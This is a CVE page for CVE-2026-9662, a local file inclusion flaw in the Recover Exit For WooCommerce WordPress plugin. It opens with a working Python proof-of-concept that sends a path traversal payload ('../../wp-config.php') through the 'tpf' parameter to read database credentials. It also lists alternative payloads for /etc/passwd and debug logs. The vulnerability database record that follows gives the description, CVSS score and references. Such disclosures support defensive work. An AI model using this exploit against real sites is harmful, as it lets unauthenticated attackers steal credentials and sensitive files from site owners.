CVE-2026-9662

import requests import sys # CVE-2026-9662 PoC - Local File Inclusion in Recover Exit For WooCommerce # Affected: Recover Exit For WooCommerce <= 1.0.3 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target.com/wp-admin/admin-post.php" # Read wp-config.php (most sensitive file in WordPress) payload = { 'action': 'recover_exit', 'tpf': '../../wp-config.php' } print(f"[*] Sending LFI payload to: {target_url}") print(f"[*] Payload: tpf={payload['tpf']}") try: response = requests.post(target_url, data=payload, timeout=10) if 'DB_NAME' in response.text or 'DB_USER' in response.text: print("[+] SUCCESS: Sensitive configuration leaked!") print("[+] Partial response:") print(response.text[:500]) else: print("[-] Target may not be vulnerable or file not found") print(f"[-] Status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") # Alternative payloads for testing: # ../../../../etc/passwd - Read system passwd file # ../../wp-includes/wp-config.php - Alternative path to config # ../../../wp-content/debug.log - Read error logs

{"cve": {"id": "CVE-2026-9662", "sourceIdentifier": "[email protected]", "published": "2026-06-09T05:16:41.350", "lastModified": "2026-06-09T13:33:34.393", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Recover Exit For WooCommerce plugin for WordPress is vulnerable to Local File Inclusion in all versions up to and including 1.0.3. This is due to insufficient validation and sanitization of the user-controlled `tpf` POST parameter before it is used in an `include()` path in the `recover_exit()` function. This makes it possible for unauthenticated attackers to perform path traversal and include unintended local PHP files, which can lead to sensitive information exposure and, in certain deployment chains, code execution."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/tags/1.0.3/recover_exit_main.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/tags/1.0.3/recover_exit_main.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/tags/1.0.3/recoverexit_woocommerce.php#L52", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/trunk/recover_exit_main.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/trunk/recover_exit_main.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/recoverexit-for-woocommerce/trunk/recoverexit_woocommerce.php#L52", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/10552714-c8fb-455c-ad61-c0ef2db4b69f?source=cve", "source": "[email protected]"}]}}